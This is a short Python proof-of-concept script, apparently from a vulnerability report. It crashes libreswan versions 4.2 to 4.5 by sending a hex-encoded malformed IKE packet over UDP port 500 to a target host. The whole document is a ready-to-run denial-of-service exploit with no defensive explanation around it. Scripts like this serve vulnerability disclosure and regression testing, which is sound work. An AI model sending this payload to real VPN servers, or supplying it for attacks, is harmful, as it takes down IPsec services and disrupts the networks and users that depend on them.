#!/usr/bin/python3 """ Logging crasher in libreswan 4.2 - 4.5 """ import socket from binascii import unhexlify HOST = '192.1.2.23' PORT = 500 # myozcam reported crasher s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) data = unhexlify('3127fcb038109e8900000000000000000110020000000000000000cc0d00005c00000001000000010000005001010002030000240101000080010005800200028004000280030003800b0001000c000400000e103127fcb038109e8900000000000000000110020000000000000000cc0d00005c00000001000000010000005001010002030000240101000080010005800200028004000280030003800b0001000c000400000e10000000240201000080010005800200018004000280030003800b0001000c000400000e10') s.sendto(data, (HOST, PORT))